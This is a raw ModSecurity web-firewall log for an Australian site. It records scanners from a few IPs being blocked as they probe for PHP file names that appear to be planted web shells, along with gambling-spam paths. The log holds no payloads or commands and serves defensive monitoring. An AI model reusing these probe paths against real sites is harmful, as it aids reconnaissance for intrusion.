[Thu Apr 16 19:06:39.158209 2026] [:error] [pid 57537:tid 57586] [client 62.84.185.55:4128] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeDCv1VQRS8nm73ENAmgVgAAAEs"]
[Thu Apr 16 19:06:42.456005 2026] [:error] [pid 49094:tid 49101] [client 62.84.185.55:4130] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeDCwjbDwvcXorHR_MyOZQAAAUU"]
[Thu Apr 16 19:06:45.368438 2026] [:error] [pid 57536:tid 57566] [client 62.84.185.55:4142] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeDCxSQU4faGja6jpDtDSAAAABI"]
[Thu Apr 16 19:06:48.375675 2026] [:error] [pid 57538:tid 57617] [client 62.84.185.55:2906] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeDCyMuMaiEF5SVR2BfB7AAAAI8"]
[Thu Apr 16 19:06:51.674893 2026] [:error] [pid 49094:tid 49117] [client 62.84.185.55:2908] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeDCyzbDwvcXorHR_MyOjwAAAVU"]
[Thu Apr 16 19:06:55.178118 2026] [:error] [pid 57536:tid 57559] [client 62.84.185.55:2922] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeDCzyQU4faGja6jpDtDegAAAAs"]
[Thu Apr 16 19:10:01.836032 2026] [:error] [pid 49094:tid 49119] [client 172.213.0.122:29141] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeDDiTbDwvcXorHR_MyP7QAAAVc"]
[Thu Apr 16 19:10:02.689333 2026] [:error] [pid 57537:tid 57575] [client 172.213.0.122:29124] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeDDilVQRS8nm73ENAmg6AAAAEA"]
[Thu Apr 16 19:10:03.600411 2026] [:error] [pid 57639:tid 57661] [client 172.213.0.122:29182] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeDDi6MCQoTw7TsxWuk9sgAAAM8"]
[Thu Apr 16 19:10:04.417587 2026] [:error] [pid 57639:tid 57653] [client 172.213.0.122:29150] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeDDjKMCQoTw7TsxWuk9ugAAAMc"]
[Thu Apr 16 19:10:05.424105 2026] [:error] [pid 57639:tid 57655] [client 172.213.0.122:6081] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeDDjaMCQoTw7TsxWuk9vgAAAMk"]
[Thu Apr 16 19:10:06.583167 2026] [:error] [pid 29603:tid 29610] [client 172.213.0.122:29155] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeDDjlfGOR6fpTWUAzpzKQAAAQU"]
[Thu Apr 16 19:10:08.988960 2026] [:error] [pid 57538:tid 57618] [client 172.213.0.122:29183] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeDDkMuMaiEF5SVR2BfCiwAAAJA"]
[Thu Apr 16 19:10:11.576542 2026] [:error] [pid 49094:tid 49110] [client 172.213.0.122:29173] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeDDkzbDwvcXorHR_MyP_AAAAU4"]
[Thu Apr 16 19:10:12.373549 2026] [:error] [pid 49094:tid 49116] [client 172.213.0.122:29142] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeDDlDbDwvcXorHR_MyQAgAAAVQ"]
[Thu Apr 16 19:10:15.925756 2026] [:error] [pid 57538:tid 57604] [client 43.152.72.244:43892] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeDDl8uMaiEF5SVR2BfCkAAAAII"]
[Thu Apr 16 19:10:16.067536 2026] [:error] [pid 29603:tid 29608] [client 172.213.0.122:29171] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeDDmFfGOR6fpTWUAzpzPwAAAQM"]
[Thu Apr 16 19:10:17.115842 2026] [:error] [pid 57639:tid 57670] [client 172.213.0.122:29177] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeDDmaMCQoTw7TsxWuk90AAAANg"]
[Thu Apr 16 19:10:21.344857 2026] [:error] [pid 57639:tid 57655] [client 172.213.0.122:29164] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeDDnaMCQoTw7TsxWuk96gAAAMk"]
[Thu Apr 16 19:10:23.209700 2026] [:error] [pid 57639:tid 57664] [client 172.213.0.122:29145] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeDDn6MCQoTw7TsxWuk98gAAANI"]
[Thu Apr 16 19:10:25.235495 2026] [:error] [pid 49094:tid 49097] [client 172.213.0.122:6093] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeDDoTbDwvcXorHR_MyQCQAAAUE"]
[Thu Apr 16 19:10:26.207003 2026] [:error] [pid 57537:tid 57585] [client 172.213.0.122:29181] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeDDolVQRS8nm73ENAmg-wAAAEo"]
[Thu Apr 16 19:10:27.968875 2026] [:error] [pid 7880:tid 7890] [client 172.213.0.122:29120] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeDDo6aezm4fSGc0yUJ8bwAAAYU"]
[Thu Apr 16 19:10:28.890215 2026] [:error] [pid 49094:tid 49111] [client 172.213.0.122:29163] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "aeDDpDbDwvcXorHR_MyQDQAAAU8"]
[Thu Apr 16 19:10:31.751636 2026] [:error] [pid 57536:tid 57565] [client 172.213.0.122:29148] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "aeDDpyQU4faGja6jpDtEaQAAABE"]
[Thu Apr 16 19:10:38.515957 2026] [:error] [pid 7880:tid 7897] [client 172.213.0.122:29165] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "aeDDrqaezm4fSGc0yUJ8eQAAAYw"]
[Thu Apr 16 19:10:42.421809 2026] [:error] [pid 49094:tid 49107] [client 172.213.0.122:6082] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "aeDDsjbDwvcXorHR_MyQOQAAAUs"]
[Thu Apr 16 19:10:48.219149 2026] [:error] [pid 57536:tid 57560] [client 172.213.0.122:6116] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeDDuCQU4faGja6jpDtEfwAAAAw"]
[Thu Apr 16 19:10:51.139489 2026] [:error] [pid 7880:tid 7899] [client 172.213.0.122:6121] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeDDu6aezm4fSGc0yUJ8gwAAAY4"]
[Thu Apr 16 19:10:55.079758 2026] [:error] [pid 57538:tid 57621] [client 172.213.0.122:29147] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeDDv8uMaiEF5SVR2BfCwwAAAJM"]
[Thu Apr 16 19:10:56.027365 2026] [:error] [pid 57537:tid 57576] [client 172.213.0.122:29122] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeDDwFVQRS8nm73ENAmhSgAAAEE"]
[Thu Apr 16 19:10:56.890336 2026] [:error] [pid 29603:tid 29611] [client 172.213.0.122:29126] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "aeDDwFfGOR6fpTWUAzpzXwAAAQY"]
[Thu Apr 16 19:11:57.178613 2026] [:error] [pid 57537:tid 57580] [client 172.213.0.122:29168] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeDD_VVQRS8nm73ENAmhlgAAAEU"]
[Thu Apr 16 19:11:58.334470 2026] [:error] [pid 49094:tid 49104] [client 172.213.0.122:29179] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeDD_jbDwvcXorHR_MyQ6QAAAUg"]
[Thu Apr 16 19:12:01.046096 2026] [:error] [pid 57639:tid 57647] [client 172.213.0.122:6094] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeDEAaMCQoTw7TsxWuk-yQAAAME"]
[Thu Apr 16 19:12:01.904618 2026] [:error] [pid 57639:tid 57668] [client 172.213.0.122:6086] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeDEAaMCQoTw7TsxWuk-0gAAANY"]
[Thu Apr 16 19:12:03.047774 2026] [:error] [pid 57639:tid 57658] [client 172.213.0.122:6022] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeDEA6MCQoTw7TsxWuk-2AAAAMw"]
[Thu Apr 16 19:12:04.083670 2026] [:error] [pid 29603:tid 29615] [client 172.213.0.122:6016] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeDEBFfGOR6fpTWUAzpzmwAAAQo"]
[Thu Apr 16 19:12:05.367796 2026] [:error] [pid 57639:tid 57661] [client 172.213.0.122:29146] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeDEBaMCQoTw7TsxWuk-4QAAAM8"]
[Thu Apr 16 19:12:06.024582 2026] [:error] [pid 57536:tid 57548] [client 172.213.0.122:29129] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeDEBiQU4faGja6jpDtE-QAAAAA"]
[Thu Apr 16 19:12:07.073560 2026] [:error] [pid 57536:tid 57563] [client 172.213.0.122:6090] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeDEByQU4faGja6jpDtFAQAAAA8"]
[Thu Apr 16 19:12:07.993973 2026] [:error] [pid 49094:tid 49112] [client 172.213.0.122:29176] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeDEBzbDwvcXorHR_MyQ-gAAAVA"]
[Thu Apr 16 19:12:09.283575 2026] [:error] [pid 57537:tid 57595] [client 172.213.0.122:29170] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeDECVVQRS8nm73ENAmhoQAAAFQ"]
[Thu Apr 16 19:12:11.059198 2026] [:error] [pid 7880:tid 7886] [client 172.213.0.122:6123] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7logs.php"] [unique_id "aeDEC6aezm4fSGc0yUJ88gAAAYE"]
[Thu Apr 16 19:12:13.746017 2026] [:error] [pid 7880:tid 7904] [client 172.213.0.122:29127] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeDEDaaezm4fSGc0yUJ8-QAAAZM"]
[Thu Apr 16 19:12:15.093813 2026] [:error] [pid 49094:tid 49108] [client 172.213.0.122:29156] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeDEDzbDwvcXorHR_MyRAgAAAUw"]
[Thu Apr 16 19:12:22.360463 2026] [:error] [pid 57537:tid 57596] [client 172.213.0.122:6101] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeDEFlVQRS8nm73ENAmhrAAAAFU"]
[Thu Apr 16 19:12:25.684927 2026] [:error] [pid 57639:tid 57658] [client 172.213.0.122:6102] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aeDEGaMCQoTw7TsxWuk-_gAAAMw"]
[Thu Apr 16 19:12:26.552533 2026] [:error] [pid 7880:tid 7888] [client 172.213.0.122:6029] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeDEGqaezm4fSGc0yUJ9MgAAAYM"]
[Thu Apr 16 19:12:27.578720 2026] [:error] [pid 29603:tid 29609] [client 172.213.0.122:6127] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeDEG1fGOR6fpTWUAzpz0gAAAQQ"]
[Thu Apr 16 19:12:28.722492 2026] [:error] [pid 49094:tid 49098] [client 172.213.0.122:6129] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeDEHDbDwvcXorHR_MyRIwAAAUI"]
[Thu Apr 16 19:12:29.827480 2026] [:error] [pid 7880:tid 7901] [client 172.213.0.122:6138] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeDEHaaezm4fSGc0yUJ9PwAAAZA"]
[Thu Apr 16 19:12:30.807998 2026] [:error] [pid 57639:tid 57657] [client 172.213.0.122:29167] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aeDEHqMCQoTw7TsxWuk_EgAAAMs"]
[Thu Apr 16 19:12:32.308359 2026] [:error] [pid 7880:tid 7891] [client 172.213.0.122:6087] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aeDEIKaezm4fSGc0yUJ9SwAAAYY"]
[Thu Apr 16 19:12:33.434774 2026] [:error] [pid 49094:tid 49119] [client 172.213.0.122:6084] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aeDEITbDwvcXorHR_MyRMQAAAVc"]
